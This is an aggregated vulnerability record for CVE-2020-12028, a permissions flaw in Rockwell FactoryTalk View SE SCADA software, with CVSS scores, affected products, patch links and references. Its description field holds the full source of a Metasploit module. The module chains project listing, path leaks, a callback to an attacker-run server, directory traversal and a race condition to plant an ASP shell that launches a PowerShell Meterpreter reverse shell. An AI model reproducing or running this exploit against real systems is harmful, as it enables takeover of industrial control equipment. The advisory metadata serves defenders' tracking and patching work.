ID

VAR-202007-0194


CVE

CVE-2020-12028


TITLE

FactoryTalk View SE Vulnerability regarding improper permission retention in

Trust: 0.8

sources: JVNDB: JVNDB-2020-008253

DESCRIPTION

In all versions of FactoryTalk View SEA remote, an authenticated attacker may be able to utilize certain handlers to interact with the data on the remote endpoint since those handlers do not enforce appropriate permissions. Rockwell Automation recommends enabling built in security features found within FactoryTalk View SE. Users should follow guidance found in knowledge base articles 109056 and 1126943 to set up IPSec and/or HTTPs. FactoryTalk View SE There is a vulnerability in improper retention of permissions.Information may be obtained and tampered with. Authentication is not required to exploit this vulnerability.The specific flaw exists within the handling of project backups. The issue results from lack of authorization prior to initiating a backup. An attacker can leverage this in conjunction with other vulnerability to execute code in the context of SYSTEM. Remote attackers can use this vulnerability to perform data interactions on remote endpoints. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Powershell include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Rockwell FactoryTalk View SE SCADA Unauthenticated Remote Code Execution', 'Description' => %q{ This module exploits a series of vulnerabilities to achieve unauthenticated remote code execution on the Rockwell FactoryTalk View SE SCADA product as the IIS user. The attack relies on the chaining of five separate vulnerabilities. The first vulnerability is an unauthenticated project copy request, the second is a directory traversal, and the third is a race condition. In order to achieve full remote code execution on all targets, two information leak vulnerabilities are also abused. This exploit was used by the Flashback team (Pedro Ribeiro + Radek Domanski) in Pwn2Own Miami 2020 to win the EWS category. }, 'License' => MSF_LICENSE, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module 'Radek Domanski <radek.domanski[at]gmail.com>' # Vulnerability discovery and Metasploit module ], 'References' => [ [ 'URL', 'https://www.thezdi.com/blog/2020/7/22/chaining-5-bugs-for-code-execution-on-the-rockwell-factorytalk-hmi-at-pwn2own-miami'], [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Miami_2020/replicant/replicant.md'], [ 'URL', 'https://github.com/rdomanski/Exploits_and_Advisories/tree/master/advisories/Pwn2Own/Miami2020/replicant.md'], [ 'CVE', '2020-12027'], [ 'CVE', '2020-12028'], [ 'CVE', '2020-12029'], [ 'ZDI', '20-727'], [ 'ZDI', '20-728'], [ 'ZDI', '20-729'], [ 'ZDI', '20-730'], ], 'Privileged' => false, 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Payload' => { 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' } }, 'DefaultOptions' => { 'WfsDelay' => 20 }, 'Targets' => [ [ 'Rockwell Automation FactoryTalk SE', {} ] ], 'DisclosureDate' => '2020-06-22', 'DefaultTarget' => 0 ) ) register_options( [ Opt::RPORT(80), OptString.new('SRVHOST', [true, 'IP address of the host serving the exploit']), OptInt.new('SRVPORT', [true, 'Port of the host serving the exploit on', 8080]), OptString.new('TARGETURI', [true, 'The base path to Rockwell FactoryTalk', '/rsviewse/']) ] ) register_advanced_options( [ OptInt.new('SLEEP_RACER', [true, 'Number of seconds to wait for racer thread to finish', 15]), ] ) end def send_to_factory(path) send_request_cgi({ 'uri' => normalize_uri(target_uri, path), 'method' => 'GET' }) end def check res = send_to_factory('/hmi_isapi.dll') return Exploit::CheckCode::Safe unless res && res.code == 200 # Parse version from response body # Example: Version 11.00.00.230 version = res.body.scan(/Version ([0-9\.]{5,})/).flatten.first.to_s.split('.') # Is returned version sound? unless version.empty? if version.length != 4 return Exploit::CheckCode::Detected end print_status("#{peer} - Detected Rockwell FactoryTalk View SE SCADA version #{version[0..3].join('.')}") if version[0].to_i == 11 && version[1].to_i == 0 && version[2].to_i == 0 && version[3].to_i == 230 # we know this exact version is vulnerable (11.00.00.230) return Exploit::CheckCode::Appears end return Exploit::CheckCode::Detected end return Exploit::CheckCode::Unknown end def on_request_uri(cli, request) if request.uri.include?(@shelly) print_good("#{peer} - Target connected, sending payload") psh = cmd_psh_payload( payload.encoded, payload.arch.first # without comspec it seems to fail, so keep it this way # remove_comspec: true ) # add double quotes for classic ASP escaping psh.gsub!('"', '""') # NOTE: ASP payloads are broken in newer Windows (Win 2012 R2, Win 10) so we need to use powershell # This is because the MSF ASP payload uses WScript.Shell.run(), which doesn't seem to work anymore... # If this module is not working on an older Windows version, try the below as payload: # payload = Msf::Util::EXE.to_exe_asp(generate_payload_exe) payload = %{<%CreateObject("WScript.Shell").exec("#{psh}")%>} send_response(cli, payload) # payload file is deleted automatically by the server once we win the race! elsif request.uri.include?(@proj_name) # Directory traversal: vulnerable asp file will land in the path we provide print_good("#{peer} - Target connected, sending file path with dir traversal") # Check the comments in the Infoleak 2 (project installation path) to understand why filename = "../SE/HMI Projects/#{@shelly}" send_response(cli, filename) end end def exploit # Infoleak 1 (project listing) print_status("#{peer} - Listing projects on the server") res = send_to_factory('/hmi_isapi.dll?GetHMIProjects') fail_with(Failure::UnexpectedReply, 'Failed to obtain project list. Bailing') unless res && res.code == 200 && res.body.include?('HMIProject') print_status("#{peer} - Received list of projects from the server") @proj_name = nil proj_path = '' xml = res.get_xml_document # Parse XML project list and check each project for installation project path xml.search('HMIProject').each do |project| # Infoleak 2 (project installation path) # In the original exploit, we used this to calculate the directory traversal path, but # Google says the path is the same for all versions since at least 2007. # Let's still abuse it to check if the project is valid. url = "/hmi_isapi.dll?GetHMIProjectPath&#{project.attributes['Name']}" res = send_to_factory(url) proj_path = res.body.strip # Check if response contains :\ that indicates a windows path next unless proj_path.include?(':\\') print_status("#{peer} - Found project path: #{proj_path}") # We only need first hit so we can quit the project parsing once we get it if project.attributes['Name'] @proj_name = project.attributes['Name'] break end end if !@proj_name fail_with(Failure::UnexpectedReply, 'Failed to get a path from the XML to drop our shell, bailing out...') end shell_path = proj_path.sub(@proj_name, '').strip print_good("#{peer} - Got a path to drop our shell: #{shell_path}") # Start http server for project copy callback http_service = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s print_status("#{peer} - Starting up our web service on #{http_service} ...") start_service({ 'Uri' => { 'Proc' => proc do |cli, req| on_request_uri(cli, req) end, # This path has to be capitalized as "RSViewSE" or else the exploit will fail! 'Path' => '/RSViewSE/' } }) # Race Condition # This is the racer thread. It will continuously access our asp file until it gets executed print_status("#{peer} - Starting racer thread, let's win this race condition!") @shelly = "#{rand_text_alpha(5..10)}.asp" racer = Thread.new do loop do res = send_to_factory("/#{@shelly}") if res.code == 200 print_good("#{peer} - We've won the race condition, shell incoming!") break end end end # Project Copy Request: target will connect to us to obtain project information. print_status("#{peer} - Initiating project copy request...") url = "/hmi_isapi.dll?StartRemoteProjectCopy&#{@proj_name}&#{rand_text_alpha(5..13)}&#{datastore['SRVHOST']}:#{datastore['SRVPORT']}&1" res = send_to_factory(url) # wait up to datastore['SLEEP_RACER'] seconds for the racer thread to finish count = 0 while count < datastore['SLEEP_RACER'] break if racer.status == false sleep(1) count += 1 end racer.exit end end

Trust: 3.06

sources: NVD: CVE-2020-12028 // JVNDB: JVNDB-2020-008253 // ZDI: ZDI-20-729 // CNVD: CNVD-2020-38689 // VULHUB: VHN-164665 // VULMON: CVE-2020-12028 // PACKETSTORM: 160156

IOT TAXONOMY

category:['ICS']sub_category: -

Trust: 0.6

sources: CNVD: CNVD-2020-38689

AFFECTED PRODUCTS

vendor:rockwellautomationmodel:factorytalk viewscope:eqversion:*

Trust: 1.0

vendor:rockwell automationmodel:factorytalk viewscope:eqversion:se

Trust: 0.8

vendor:rockwell automationmodel:factorytalk view sescope: - version: -

Trust: 0.7

vendor:rockwellmodel:automation factorytalk view sescope: - version: -

Trust: 0.6

sources: ZDI: ZDI-20-729 // CNVD: CNVD-2020-38689 // JVNDB: JVNDB-2020-008253 // NVD: CVE-2020-12028

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2020-12028
value: HIGH

Trust: 1.0

ics-cert@hq.dhs.gov: CVE-2020-12028
value: HIGH

Trust: 1.0

NVD: JVNDB-2020-008253
value: HIGH

Trust: 0.8

ZDI: CVE-2020-12028
value: HIGH

Trust: 0.7

CNVD: CNVD-2020-38689
value: HIGH

Trust: 0.6

CNNVD: CNNVD-202006-1219
value: HIGH

Trust: 0.6

VULHUB: VHN-164665
value: MEDIUM

Trust: 0.1

VULMON: CVE-2020-12028
value: MEDIUM

Trust: 0.1

nvd@nist.gov: CVE-2020-12028
severity: MEDIUM
baseScore: 5.5
vectorString: AV:N/AC:L/AU:S/C:P/I:P/A:N
accessVector: NETWORK
accessComplexity: LOW
authentication: SINGLE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: NONE
exploitabilityScore: 8.0
impactScore: 4.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.1

NVD: JVNDB-2020-008253
severity: MEDIUM
baseScore: 5.5
vectorString: AV:N/AC:L/AU:S/C:P/I:P/A:N
accessVector: NETWORK
accessComplexity: LOW
authentication: SINGLE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: NONE
exploitabilityScore: NONE
impactScore: NONE
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.8

CNVD: CNVD-2020-38689
severity: HIGH
baseScore: 7.5
vectorString: AV:N/AC:L/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 10.0
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.6

VULHUB: VHN-164665
severity: MEDIUM
baseScore: 5.5
vectorString: AV:N/AC:L/AU:S/C:P/I:P/A:N
accessVector: NETWORK
accessComplexity: LOW
authentication: SINGLE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: NONE
exploitabilityScore: 8.0
impactScore: 4.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.1

nvd@nist.gov: CVE-2020-12028
baseSeverity: HIGH
baseScore: 8.1
vectorString: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: LOW
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: HIGH
availabilityImpact: NONE
exploitabilityScore: 2.8
impactScore: 5.2
version: 3.1

Trust: 1.0

ics-cert@hq.dhs.gov: CVE-2020-12028
baseSeverity: HIGH
baseScore: 7.3
vectorString: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: LOW
userInteraction: REQUIRED
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: HIGH
availabilityImpact: NONE
exploitabilityScore: 2.1
impactScore: 5.2
version: 3.1

Trust: 1.0

NVD: JVNDB-2020-008253
baseSeverity: HIGH
baseScore: 8.1
vectorString: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: LOW
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: HIGH
availabilityImpact: NONE
exploitabilityScore: NONE
impactScore: NONE
version: 3.0

Trust: 0.8

ZDI: CVE-2020-12028
baseSeverity: HIGH
baseScore: 7.3
vectorString: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: NONE
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: LOW
integrityImpact: LOW
availabilityImpact: LOW
exploitabilityScore: 3.9
impactScore: 3.4
version: 3.0

Trust: 0.7

sources: ZDI: ZDI-20-729 // CNVD: CNVD-2020-38689 // VULHUB: VHN-164665 // VULMON: CVE-2020-12028 // JVNDB: JVNDB-2020-008253 // CNNVD: CNNVD-202006-1219 // NVD: CVE-2020-12028 // NVD: CVE-2020-12028

PROBLEMTYPE DATA

problemtype:CWE-264

Trust: 1.1

problemtype:CWE-306

Trust: 1.1

problemtype:CWE-281

Trust: 0.9

sources: VULHUB: VHN-164665 // JVNDB: JVNDB-2020-008253 // NVD: CVE-2020-12028

THREAT TYPE

remote

Trust: 0.7

sources: PACKETSTORM: 160156 // CNNVD: CNNVD-202006-1219

TYPE

access control error

Trust: 0.6

sources: CNNVD: CNNVD-202006-1219

CONFIGURATIONS

sources: JVNDB: JVNDB-2020-008253

EXPLOIT AVAILABILITY

sources: VULHUB: VHN-164665

PATCH

title:Top Pageurl:https://www.rockwellautomation.com/en-us.html

Trust: 0.8

title:Rockwell Automation has issued an update to correct this vulnerability.url:https://rockwellautomation.custhelp.com/app/answers/detail/a_id/1126944

Trust: 0.7

title:Patch for Rockwell Automation FactoryTalk View SE permissions permission and access control issuesurl:https://www.cnvd.org.cn/patchInfo/show/225395

Trust: 0.6

title:Rockwell Automation FactoryTalk View SE Fixes for permissions and access control issues vulnerabilitiesurl:http://www.cnnvd.org.cn/web/xxk/bdxqById.tag?id=122565

Trust: 0.6

title:Check Point Security Alerts: Rockwell Automation FactoryTalk View Authentication Bypass (CVE-2020-12028)url:https://vulmon.com/vendoradvisory?qidtp=check_point_security_alerts&qid=db1500c682c2b11b54fffda4632ce016

Trust: 0.1

title:Exploits and Advisories CVEs Exploitsurl:https://github.com/rdomanski/Exploits_and_Advisories

Trust: 0.1

sources: ZDI: ZDI-20-729 // CNVD: CNVD-2020-38689 // VULMON: CVE-2020-12028 // JVNDB: JVNDB-2020-008253 // CNNVD: CNNVD-202006-1219

EXTERNAL IDS

db:NVDid:CVE-2020-12028

Trust: 4.0

db:ICS CERTid:ICSA-20-170-05

Trust: 3.2

db:ZDIid:ZDI-20-729

Trust: 1.9

db:PACKETSTORMid:160156

Trust: 1.9

db:JVNid:JVNVU97172119

Trust: 0.8

db:JVNDBid:JVNDB-2020-008253

Trust: 0.8

db:ZDI_CANid:ZDI-CAN-10283

Trust: 0.7

db:CNVDid:CNVD-2020-38689

Trust: 0.7

db:CNNVDid:CNNVD-202006-1219

Trust: 0.7

db:NSFOCUSid:47327

Trust: 0.6

db:VULHUBid:VHN-164665

Trust: 0.1

db:VULMONid:CVE-2020-12028

Trust: 0.1

sources: ZDI: ZDI-20-729 // CNVD: CNVD-2020-38689 // VULHUB: VHN-164665 // VULMON: CVE-2020-12028 // JVNDB: JVNDB-2020-008253 // PACKETSTORM: 160156 // CNNVD: CNNVD-202006-1219 // NVD: CVE-2020-12028

REFERENCES

url:https://us-cert.cisa.gov/ics/advisories/icsa-20-170-05

Trust: 2.6

url:https://rockwellautomation.custhelp.com/app/answers/detail/a_id/1126944

Trust: 2.5

url:http://packetstormsecurity.com/files/160156/rockwell-factorytalk-view-se-scada-unauthenticated-remote-code-execution.html

Trust: 2.4

url:https://nvd.nist.gov/vuln/detail/cve-2020-12028

Trust: 1.5

url:https://www.us-cert.gov/ics/advisories/icsa-20-170-05

Trust: 1.2

url:ttps://www.zerodayinitiative.com/advisories/zdi-20-729/

Trust: 1.2

url:https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2020-12028

Trust: 0.8

url:https://jvn.jp/vu/jvnvu97172119/index.html

Trust: 0.8

url:http://www.nsfocus.net/vulndb/47327

Trust: 0.6

url:https://cwe.mitre.org/data/definitions/306.html

Trust: 0.1

url:https://nvd.nist.gov

Trust: 0.1

url:https://advisories.checkpoint.com/defense/advisories/public/2023/cpai-2020-4078.html

Trust: 0.1

url:https://github.com/rdomanski/exploits_and_advisories

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2020-12029

Trust: 0.1

url:https://www.thezdi.com/blog/2020/7/22/chaining-5-bugs-for-code-execution-on-the-rockwell-factorytalk-hmi-at-pwn2own-miami'],

Trust: 0.1

url:https://github.com/rapid7/metasploit-framework

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2020-12027

Trust: 0.1

url:https://github.com/pedrib/poc/blob/master/advisories/pwn2own/miami_2020/replicant/replicant.md'],

Trust: 0.1

url:https://metasploit.com/download

Trust: 0.1

url:http://'

Trust: 0.1

url:https://github.com/rdomanski/exploits_and_advisories/tree/master/advisories/pwn2own/miami2020/replicant.md'],

Trust: 0.1

sources: ZDI: ZDI-20-729 // CNVD: CNVD-2020-38689 // VULHUB: VHN-164665 // VULMON: CVE-2020-12028 // JVNDB: JVNDB-2020-008253 // PACKETSTORM: 160156 // CNNVD: CNNVD-202006-1219 // NVD: CVE-2020-12028

CREDITS

Team FLASHBACK: Pedro Ribeiro (pedrib@gmail.com|@pedrib1337) and Radek Domanski (@RabbitPro)

Trust: 0.7

sources: ZDI: ZDI-20-729

SOURCES

db:ZDIid:ZDI-20-729
db:CNVDid:CNVD-2020-38689
db:VULHUBid:VHN-164665
db:VULMONid:CVE-2020-12028
db:JVNDBid:JVNDB-2020-008253
db:PACKETSTORMid:160156
db:CNNVDid:CNNVD-202006-1219
db:NVDid:CVE-2020-12028

LAST UPDATE DATE

2024-11-23T21:59:09.684000+00:00


SOURCES UPDATE DATE

db:ZDIid:ZDI-20-729date:2021-06-29T00:00:00
db:CNVDid:CNVD-2020-38689date:2020-07-14T00:00:00
db:VULHUBid:VHN-164665date:2022-04-25T00:00:00
db:VULMONid:CVE-2020-12028date:2022-04-25T00:00:00
db:JVNDBid:JVNDB-2020-008253date:2020-09-07T00:00:00
db:CNNVDid:CNNVD-202006-1219date:2022-04-26T00:00:00
db:NVDid:CVE-2020-12028date:2024-11-21T04:59:08.567

SOURCES RELEASE DATE

db:ZDIid:ZDI-20-729date:2020-06-22T00:00:00
db:CNVDid:CNVD-2020-38689date:2020-07-14T00:00:00
db:VULHUBid:VHN-164665date:2020-07-20T00:00:00
db:VULMONid:CVE-2020-12028date:2020-07-20T00:00:00
db:JVNDBid:JVNDB-2020-008253date:2020-09-07T00:00:00
db:PACKETSTORMid:160156date:2020-11-20T15:46:41
db:CNNVDid:CNNVD-202006-1219date:2020-06-18T00:00:00
db:NVDid:CVE-2020-12028date:2020-07-20T16:15:12.163